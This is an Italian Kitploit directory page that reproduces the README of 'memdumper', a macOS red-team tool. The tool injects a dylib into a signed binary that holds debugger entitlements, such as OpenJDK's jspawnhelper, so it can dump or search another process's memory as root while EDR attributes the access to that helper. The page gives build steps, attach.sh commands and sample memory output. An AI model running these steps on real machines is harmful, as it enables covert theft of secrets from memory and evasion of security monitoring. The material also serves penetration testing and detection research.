Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
memdumper — Abusa delle entitlement di debugger di macOS e di DYLD_INSERT_LIBRARIES per eseguire il dump o la ricerca nella memoria di un processo in esecuzione, spostando l'attribuzione EDR su un binario helper firmato. | Kitploit
Strumenti/GitHubGitHub/cenobyte-vincit/memdumper
Memory ForensicsEvasione IDS/IPSRaccolta InformazioniPost-ExploitDigital ForensicsPenetration TestingRed Teaming
GitHubcenobyte-vincit/memdumper

memdumper

Abusa delle entitlement di debugger di macOS e di DYLD_INSERT_LIBRARIES per eseguire il dump o la ricerca nella memoria di un processo in esecuzione, spostando l'attribuzione EDR su un binario helper firmato.

Vedi Repository
1431 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

memdumper

memdumper legge la memoria di un processo macOS in esecuzione avvalendosi dell'entitlement debugger di un altro binario firmato. L'obiettivo è che task_for_pid e ptrace vengano eseguiti come quel binario autorizzato, così un EDR registra quello piuttosto che memdumper.

di cenobyte [email protected] 2026

https://github.com/cenobyte-vincit/memdumper

Sommario

memdumper avvia un binario autorizzato che possiede com.apple.security.cs.debugger più i due entitlement che consentono l'inserimento di una DYLD_INSERT_LIBRARIES. Usalo per cercare e scaricare (dump) la memoria di un altro processo come root. jspawnhelper di OpenJDK è un binario che si trova comunemente, soprattutto sulle macchine degli sviluppatori.

Fornisci ad attach.sh un PID target e il binario autorizzato. Il costruttore della dylib viene eseguito prima della main di quel binario, legge il target e poi chiama _exit. Il binario autorizzato non raggiunge mai main, quindi un helper come jspawnhelper non stampa il suo messaggio di utilizzo. Gli argomenti extra dopo il binario autorizzato restano sulla riga di comando che un EDR registra. Senza -s la dylib esegue l'hex-dump dell'inizio di ogni regione leggibile. Con -s cerca la stringa in quelle regioni. Lo spazio degli indirizzi del target non viene scritto. L'attach con ptrace può fermare brevemente il target.

Lo stato del dump è la riga [RESULT] nell'output unificato. Un inserimento riuscito esce con 0 dopo che il costruttore ha terminato.

Requisiti

Host di runtime

  • macOS (Darwin)
  • root
  • Un binario autorizzato con tutti e tre gli entitlement com.apple.security.cs.debugger, com.apple.security.cs.allow-dyld-environment-variables e com.apple.security.cs.disable-library-validation (ad esempio jspawnhelper di OpenJDK)

Host di build

  • macOS (Darwin) con Xcode Command Line Tools o Xcode
  • clang
  • make
  • shellcheck per attach.sh e gli script di test (brew install shellcheck)
  • cppcheck (brew install cppcheck)

Build

Sull'host di build:

make

Questo produce memdumper.dylib. Copia attach.sh e memdumper.dylib sul target se le macchine non sono le stesse.

Utilizzo

Esegui attach.sh come root dalla directory che contiene memdumper.dylib. A un chiamante non root viene negato l'accesso prima che il binario autorizzato parta (root required). Questo evita la finestra di dialogo della password di Developer Tool Access (taskgated / Authorization Services). Quella finestra non è Transparency, Consent, and Control (TCC).

sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]
OptionMeaning
-p, --pid PIDID del processo target (obbligatorio)
-s, --search STRINGCerca STRING nelle regioni leggibili
-n, --max-regions NNumero massimo di regioni leggibili da hex-dumpare (default 100). Solo nel percorso di dump
-f, --forceContinua quando codesign segnala Hardened Runtime
-h, --helpStampa l'utilizzo (uscita 1)

Conferma che un binario autorizzato candidato abbia i tre entitlement. Il prefisso Cellar e la versione di OpenJDK variano; attach.sh usa questo layout nel suo stesso help:

codesign -d --entitlements - \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

Scarica le regioni leggibili del PID 4543:

sudo ./attach.sh -p 4543 \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

Cerca HELLO in quel processo:

sudo ./attach.sh -s HELLO -p 4543 \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

Limita il dump a 50 regioni leggibili, usando java come binario autorizzato. TestSpawn resta sulla riga di comando; la main di java non viene eseguita:

sudo ./attach.sh -n 50 -p 4543 \
	/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn

Un editor senza Hardened Runtime è un buon target per un test rapido. Avvialo come utente proprietario del buffer, poi fai l'attach come root. In un terminale:

nano foo

Metti HELLO nel buffer così la stringa è nel processo (salva il file o lascialo non salvato). In un altro terminale, dalla directory che contiene memdumper.dylib:

sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
	/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper

Un riscontro positivo si presenta così. Il processo esce quindi con 0:

Target: pid 9810 (nano)
Target has no hardened runtime

[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00  00 00 00 00 00 00 00 00  |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec  00 04 00 00 00 00 00 00  |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00                                    |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00  00 00 00 00 00 00 00 00  |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec  00 04 00 00 00 00 00 00  |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00  00 00 00 00 00 00 00 00  |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00  00 00 00 00 00 00 00 00  |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec  22 90 00 00 00 00 00 00  |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00                                    |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done

attach.sh non verifica gli entitlement del binario autorizzato. Un binario a cui manca uno qualsiasi dei tre fallisce all'inserimento o a task_for_pid.

Codici di uscita

CodeMeaning
0Costruttore terminato dopo un inserimento riuscito
1Errore di utilizzo, non root, memdumper.dylib mancante nella directory corrente, -p mancante, PID target non trovato, Hardened Runtime senza --force, oppure l'inserimento non è avvenuto (il binario autorizzato è quindi stato eseguito ed è uscito con codice non zero)

Leggi [RESULT] per l'esito del dump. L'uscita 0 significa solo che il costruttore è stato eseguito e ha chiamato _exit.

Configurazione

La dylib legge tre variabili d'ambiente. attach.sh le imposta a partire dalle opzioni.

Scarica lo strumento